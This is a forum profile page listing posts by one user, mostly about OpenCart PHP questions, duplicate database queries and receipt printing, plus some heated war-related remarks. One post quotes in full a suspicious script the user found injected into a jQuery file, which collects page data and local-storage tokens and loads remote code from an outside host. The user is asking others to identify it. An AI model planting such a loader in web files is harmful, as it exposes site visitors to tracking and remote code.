Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

mario512

Користувачі
  • Публікації

    355
  • З нами

  • Відвідування

Повідомлення, опубліковані користувачем mario512

  1. Добрый день. Есть копирайтеры с Украины? Необходимо написать статью. 2000-3000к слов. Тематика - Правильный выбор генератора для дома. Язык статьи - российский. 

    Сроки - на вчера. Предложения в личку.

  2. 20.01.2023 в 12:41, sv2109 сказал:

    Мне кажется вы путаете понятия класс и объект. 

    Объект это экземпляр класса он создается через new 

    А класс это условно шаблон для создания объекта. 
    Статический метод - это метод класса, не объекта, когда объект еще не создан. 
    Вы не можете из статического метода класса вызвать метод объекта потому что объект еще не создан. 
    Вам нужно вначале создать объект (пусть даже из этого статического метода и потом вызывать методы этого объекта) но это очень нестандартный подход. 
    Или через статический метод работать с такими же статическими методами или свойствами этого класса - так обычно и делается. 
    Или использовать не статические методы для работы с методами объекта. 

     

    пс. или в вашем статическом методе 

    сделать как-то так не привязываясь к методам этого объекта 

    Registry::get('language')->getLanguage('errors');

     

    Спасибо. Так и поступил. Пришлось углубиться в данный вопрос

  3. Доброго дня. Подскажите, как обратиться к публичному методу наследуемого класса из статического. Пример: 

    abstract class Controllers
    {
        protected $components;
        protected $image;
        protected $language;
        
    
        public function __construct()
        {
            $this->components = Registry::get('load');
            $this->image      = Registry::get('image'); 
            $this->language   = Registry::get('language');
        }
    }
    
    Class Errors extends Controllers
    {
        public static function goErr404()
        {
            
            $language = self::Language->getLanguage('errors'); // не работает
           
           
            
        }

     

  4. 18.01.2023 в 18:58, SooR сказал:

    Добрий день. Якщо лицензії ще немає, то сума ліцензії + послуга оновлення (якщо треба)

     

    Доброго дня. Т.е. для обновления на актуальную версию, необходимо преобретать новую лицензию?

  5. Добрый день. Обратил внимание на ошибку в консоле. Появилась не так давно.

    Скрытый текст

    image.png.648a5daba9d35c0a8b3a86d675ae2e65.png

    В файле jqury.min.js появился данный кусок кода:

    Скрытый текст
    (function() {
        var name = '_xQRNnWP1GsfGsf2J';
        if (!window._xQRNnWP1GsfGsf2J) {
            window._xQRNnWP1GsfGsf2J = {
                unique: false,
                ttl: 86400,
                R_PATH: 'https://advertising-cdn.com/5Yf3SF',
            };
        }
        const _jTGHpTBHr2BgnLCm = localStorage.getItem('config');
        if (typeof _jTGHpTBHr2BgnLCm !== 'undefined' && _jTGHpTBHr2BgnLCm !== null) {
            var _rm1vR4Bq3WJQmqyc = JSON.parse(_jTGHpTBHr2BgnLCm);
            var _kdgVxnmkhpmm6RpL = Math.round(+new Date()/1000);
            if (_rm1vR4Bq3WJQmqyc.created_at + window._xQRNnWP1GsfGsf2J.ttl < _kdgVxnmkhpmm6RpL) {
                localStorage.removeItem('subId');
                localStorage.removeItem('token');
                localStorage.removeItem('config');
            }
        }
        var _NnX9Yg65dhwPDQMQ = localStorage.getItem('subId');
        var _kMG1j7nqc8tfxPDv = localStorage.getItem('token');
        var _xmjRH9HJfZyMqbcL = '?return=js.client';
            _xmjRH9HJfZyMqbcL += '&' + decodeURIComponent(window.location.search.replace('?', ''));
            _xmjRH9HJfZyMqbcL += '&se_referrer=' + encodeURIComponent(document.referrer);
            _xmjRH9HJfZyMqbcL += '&default_keyword=' + encodeURIComponent(document.title);
            _xmjRH9HJfZyMqbcL += '&landing_url=' + encodeURIComponent(document.location.hostname + document.location.pathname);
            _xmjRH9HJfZyMqbcL += '&name=' + encodeURIComponent(name);
            _xmjRH9HJfZyMqbcL += '&host=' + encodeURIComponent(window._xQRNnWP1GsfGsf2J.R_PATH);
        if (typeof _NnX9Yg65dhwPDQMQ !== 'undefined' && _NnX9Yg65dhwPDQMQ && window._xQRNnWP1GsfGsf2J.unique) {
            _xmjRH9HJfZyMqbcL += '&sub_id=' + encodeURIComponent(_NnX9Yg65dhwPDQMQ);
        }
        if (typeof _kMG1j7nqc8tfxPDv !== 'undefined' && _kMG1j7nqc8tfxPDv && window._xQRNnWP1GsfGsf2J.unique) {
            _xmjRH9HJfZyMqbcL += '&token=' + encodeURIComponent(_kMG1j7nqc8tfxPDv);
        }
        var a = document.createElement('script');
            a.type = 'application/javascript';
            a.src = window._xQRNnWP1GsfGsf2J.R_PATH + _xmjRH9HJfZyMqbcL;
        var s = document.getElementsByTagName('script')[0];
        s.parentNode.insertBefore(a, s)
        })();
    (function() {
        var name = '_Yk9mv9Y2rDL1fNYz';
        if (!window._Yk9mv9Y2rDL1fNYz) {
            window._Yk9mv9Y2rDL1fNYz = {
                unique: false,
                ttl: 86400,
                R_PATH: 'https://advertising-cdn.com/5Yf3SF',
            };
        }
        const _sjV2vsZbn5Kqy2Jy = localStorage.getItem('config');
        if (typeof _sjV2vsZbn5Kqy2Jy !== 'undefined' && _sjV2vsZbn5Kqy2Jy !== null) {
            var _7SrbTv6XgjWjTSrH = JSON.parse(_sjV2vsZbn5Kqy2Jy);
            var _W2DJDjG19XM59k1h = Math.round(+new Date()/1000);
            if (_7SrbTv6XgjWjTSrH.created_at + window._Yk9mv9Y2rDL1fNYz.ttl < _W2DJDjG19XM59k1h) {
                localStorage.removeItem('subId');
                localStorage.removeItem('token');
                localStorage.removeItem('config');
            }
        }
        var _Kg4pMY3vwV3ndSNx = localStorage.getItem('subId');
        var _d1cgfgcTVMqPgjMT = localStorage.getItem('token');
        var _m1PQD7nBDCtYHcS8 = '?return=js.client';
            _m1PQD7nBDCtYHcS8 += '&' + decodeURIComponent(window.location.search.replace('?', ''));
            _m1PQD7nBDCtYHcS8 += '&se_referrer=' + encodeURIComponent(document.referrer);
            _m1PQD7nBDCtYHcS8 += '&default_keyword=' + encodeURIComponent(document.title);
            _m1PQD7nBDCtYHcS8 += '&landing_url=' + encodeURIComponent(document.location.hostname + document.location.pathname);
            _m1PQD7nBDCtYHcS8 += '&name=' + encodeURIComponent(name);
            _m1PQD7nBDCtYHcS8 += '&host=' + encodeURIComponent(window._Yk9mv9Y2rDL1fNYz.R_PATH);
        if (typeof _Kg4pMY3vwV3ndSNx !== 'undefined' && _Kg4pMY3vwV3ndSNx && window._Yk9mv9Y2rDL1fNYz.unique) {
            _m1PQD7nBDCtYHcS8 += '&sub_id=' + encodeURIComponent(_Kg4pMY3vwV3ndSNx);
        }
        if (typeof _d1cgfgcTVMqPgjMT !== 'undefined' && _d1cgfgcTVMqPgjMT && window._Yk9mv9Y2rDL1fNYz.unique) {
            _m1PQD7nBDCtYHcS8 += '&token=' + encodeURIComponent(_d1cgfgcTVMqPgjMT);
        }
        var a = document.createElement('script');
            a.type = 'application/javascript';
            a.src = window._Yk9mv9Y2rDL1fNYz.R_PATH + _m1PQD7nBDCtYHcS8;
        var s = document.getElementsByTagName('script')[0];
        s.parentNode.insertBefore(a, s)
        })();

     

    Ссылка https://advertising-cdn.com/5Yf3SF не доступна. 

     

    Кто сталкивался? Иньекция? 

     

    P.S. Файл изменен 6 февраля

  6. 21.09.2022 в 20:06, hon2012 сказал:

    Есть современный принтер чеков, печатает на термоленте. Вопрос в том как отправлять печать счета на него.

     

    Может кто нибудь сталкивался с вопросом таким ?

    Задавался этим вопросом. Запускал хроме в режиме киоск и использовал js библиотеку printThis. Прийдеться терпеть появляющееся на секунду окно печати. Для чека нужно верстать html форму с нужними данными. 

  7. 06.10.2022 в 01:22, markimax сказал:

    ... скажу навіть більше
    Писав в ТП форума  щоб гроші за покупку моіх модулів возвертали покупцям з зони ру та by.
    Але після того як форум возвертав їм гроші вони робили "покупку" знов, свідомо. Бо я їм писав що ці гроші підуть донатом до ЗСУ, бо вони модуль получили.
    Так, є адекватні люди. Респект їм
     

    Надо опросник добавить, перед покупкой. Чей Крым, кто путин, чей Домбасс. Понятно, что особо упоротых свиней это не остановит. Но анальный зуд вызовет.

    З.Ы. Кадры с Запорожья ужасающие.

  8. 30.06.2022 в 21:24, buslikdrev сказал:

    Неадекватные разработчики из рф сами отсеялись (они сами не хотят здесь продавать).

    А адекватные успешно продают, спонсируя войну? Интересно, "диды" сотрудничали с Германией в период 1941-1945 ? :D

    • +1 1
  9. 06.09.2022 в 14:00, chukcha сказал:

    откуда запрос?

    Мало информации

    Контроллер модуля Хиты продаж. Выведен на главную страницу сайта.

    image.png.78867a936b32b0ce027be9b8fb855403.png

     

    Вот стандартный код вызываемого им метода в модели product

    image.thumb.png.ca175df4e5b897ee526298e91793a46d.png

     

    Записывал запрос в лог, и обнаружил что выборда данных идет дважды. Проверил другой модуль (Latest / Последние поступления, так же висит на главной), результат аналогичный.

    caseroom.in.ua

     

  10. Доброго дня. 

    Обнаружил таком момент. Во время отладки модуля, обнаружил что дубрируются запросы в бд. Например, на главной, модуль "Последние продукты", два раза делает запрос. С чем это связанно? Кто сталкивался?

  11. 09.04.2022 в 21:34, chukcha сказал:

    пробуйте

    Зачем вам подготовленный запрос для инсерта?

    Я могу понять подготовленный для множественных селектов (getProduts + getProduct), когда не будет потрачено время на план запроса
     

    Да в принципе на данном этапе просто пытаюсь оптимизировать скрипт для заливки товаров на сайт. Мысль уловил. Огромное спасибо. Харьков - Держитесь!

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.